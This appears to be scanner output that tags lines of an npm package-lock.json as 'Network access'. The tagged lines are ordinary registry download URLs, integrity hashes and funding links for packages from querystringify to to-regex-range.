}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5066
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5067
"url": "https://github.com/sponsors/ljharb" - Network accessline 5070
"node_modules/querystringify": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - Network accessline 5071
"version": "2.2.0", "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", - Network accessline 5072
"resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - Network accessline 5077
"node_modules/range-parser": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", - Network accessline 5078
"version": "1.3.0", "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", - Network accessline 5079
"resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", - Network accessline 5087
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5088
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5089
"url": "https://opencollective.com/express" - Network accessline 5092
"node_modules/raw-body": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", - Network accessline 5093
"version": "3.0.2", "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", - Network accessline 5094
"resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", - Network accessline 5109
"node_modules/raw-body/node_modules/iconv-lite": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", - Network accessline 5110
"version": "0.7.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", - Network accessline 5111
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", - Network accessline 5122
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5123
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5124
"url": "https://opencollective.com/express" - Network accessline 5127
"node_modules/react-is": { "version": "18.3.1", "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - Network accessline 5128
"version": "18.3.1", "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - Network accessline 5129
"resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - Network accessline 5134
"node_modules/require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - Network accessline 5135
"version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - Network accessline 5136
"resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - Network accessline 5144
"node_modules/require-from-string": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - Network accessline 5145
"version": "2.0.2", "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - Network accessline 5146
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - Network accessline 5155
"node_modules/requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - Network accessline 5156
"version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", - Network accessline 5157
"resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - Network accessline 5162
"node_modules/resolve": { "version": "1.22.12", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", - Network accessline 5163
"version": "1.22.12", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", - Network accessline 5164
"resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", - Network accessline 5179
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5180
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5181
"url": "https://github.com/sponsors/ljharb" - Network accessline 5184
"node_modules/resolve-cwd": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", - Network accessline 5185
"version": "3.0.0", "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", - Network accessline 5186
"resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", - Network accessline 5197
"node_modules/resolve-from": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - Network accessline 5198
"version": "5.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", - Network accessline 5199
"resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - Network accessline 5207
"node_modules/resolve.exports": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.3.tgz", - Network accessline 5208
"version": "2.0.3", "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.3.tgz", "integrity": "sha512-OcXjMsGdhL4XnbShKpAcSqPMzQoYkYyhbEaeSko47MjRP9NfEQMhZkXL1DoFlt9LWQn4YttrdnV6X2OiyzBi+A==", - Network accessline 5209
"resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.3.tgz", - Network accessline 5217
"node_modules/router": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", - Network accessline 5218
"version": "2.2.0", "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", - Network accessline 5219
"resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", - Network accessline 5235
"node_modules/rrweb-cssom": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", - Network accessline 5236
"version": "0.7.1", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", "integrity": "sha512-TrEMa7JGdVm0UThDJSx7ddw5nVm3UJS9o9CCIZ72B1vSyEZoziDqBYP3XIoi/12lKrJR8rE3jeFHMok2F/Mnsg==", - Network accessline 5237
"resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", - Network accessline 5242
"node_modules/safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - Network accessline 5243
"version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - Network accessline 5244
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - Network accessline 5249
"node_modules/saxes": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - Network accessline 5250
"version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", - Network accessline 5251
"resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - Network accessline 5262
"node_modules/semver": { "version": "7.7.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", - Network accessline 5263
"version": "7.7.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", - Network accessline 5264
"resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", - Network accessline 5275
"node_modules/send": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", - Network accessline 5276
"version": "1.2.1", "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", - Network accessline 5277
"resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", - Network accessline 5298
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5299
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5300
"url": "https://opencollective.com/express" - Network accessline 5303
"node_modules/send/node_modules/mime-db": { "version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 5304
"version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - Network accessline 5305
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 5314
"node_modules/send/node_modules/mime-types": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 5315
"version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", - Network accessline 5316
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 5327
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5328
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5329
"url": "https://opencollective.com/express" - Network accessline 5332
"node_modules/serve-static": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", - Network accessline 5333
"version": "2.2.1", "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", - Network accessline 5334
"resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", - Network accessline 5348
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5349
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5350
"url": "https://opencollective.com/express" - Network accessline 5353
"node_modules/setprototypeof": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - Network accessline 5354
"version": "1.2.0", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", - Network accessline 5355
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - Network accessline 5361
"node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - Network accessline 5362
"version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - Network accessline 5363
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - Network accessline 5374
"node_modules/shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - Network accessline 5375
"version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - Network accessline 5376
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - Network accessline 5384
"node_modules/side-channel": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", - Network accessline 5385
"version": "1.1.1", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", - Network accessline 5386
"resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", - Network accessline 5400
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5401
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5402
"url": "https://github.com/sponsors/ljharb" - Network accessline 5405
"node_modules/side-channel-list": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", - Network accessline 5406
"version": "1.0.1", "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", - Network accessline 5407
"resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", - Network accessline 5418
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5419
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5420
"url": "https://github.com/sponsors/ljharb" - Network accessline 5423
"node_modules/side-channel-map": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", - Network accessline 5424
"version": "1.0.1", "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", - Network accessline 5425
"resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", - Network accessline 5438
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5439
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5440
"url": "https://github.com/sponsors/ljharb" - Network accessline 5443
"node_modules/side-channel-weakmap": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", - Network accessline 5444
"version": "1.0.2", "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", - Network accessline 5445
"resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", - Network accessline 5459
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5460
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5461
"url": "https://github.com/sponsors/ljharb" - Network accessline 5464
"node_modules/signal-exit": { "version": "3.0.7", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - Network accessline 5465
"version": "3.0.7", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - Network accessline 5466
"resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - Network accessline 5471
"node_modules/sisteransi": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", - Network accessline 5472
"version": "1.0.5", "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", - Network accessline 5473
"resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", - Network accessline 5478
"node_modules/slash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - Network accessline 5479
"version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", - Network accessline 5480
"resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - Network accessline 5488
"node_modules/source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - Network accessline 5489
"version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - Network accessline 5490
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - Network accessline 5498
"node_modules/source-map-support": { "version": "0.5.13", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", - Network accessline 5499
"version": "0.5.13", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", - Network accessline 5500
"resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", - Network accessline 5509
"node_modules/sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - Network accessline 5510
"version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - Network accessline 5511
"resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - Network accessline 5516
"node_modules/stack-utils": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", - Network accessline 5517
"version": "2.0.6", "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", - Network accessline 5518
"resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", - Network accessline 5529
"node_modules/standardwebhooks": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", - Network accessline 5530
"version": "1.0.0", "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", - Network accessline 5531
"resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", - Network accessline 5541
"node_modules/statuses": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", - Network accessline 5542
"version": "2.0.2", "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", - Network accessline 5543
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", - Network accessline 5552
"node_modules/string-length": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", - Network accessline 5553
"version": "4.0.2", "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", - Network accessline 5554
"resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", - Network accessline 5566
"node_modules/string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - Network accessline 5567
"version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - Network accessline 5568
"resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - Network accessline 5581
"node_modules/strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - Network accessline 5582
"version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - Network accessline 5583
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - Network accessline 5594
"node_modules/strip-bom": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", - Network accessline 5595
"version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", - Network accessline 5596
"resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", - Network accessline 5604
"node_modules/strip-final-newline": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", - Network accessline 5605
"version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", - Network accessline 5606
"resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", - Network accessline 5614
"node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - Network accessline 5615
"version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - Network accessline 5616
"resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - Network accessline 5622
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 5623
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 5624
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 5627
"node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - Network accessline 5628
"version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - Network accessline 5629
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - Network accessline 5640
"node_modules/supports-preserve-symlinks-flag": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - Network accessline 5641
"version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6 - Network accessline 5642
"resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - Network accessline 5648
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 5649
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 5650
"url": "https://github.com/sponsors/ljharb" - Network accessline 5653
"node_modules/symbol-tree": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - Network accessline 5654
"version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - Network accessline 5655
"resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - Network accessline 5660
"node_modules/test-exclude": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", - Network accessline 5661
"version": "6.0.0", "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", - Network accessline 5662
"resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", - Network accessline 5675
"node_modules/tmpl": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", - Network accessline 5676
"version": "1.0.5", "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", - Network accessline 5677
"resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", - Network accessline 5682
"node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - Network accessline 5683
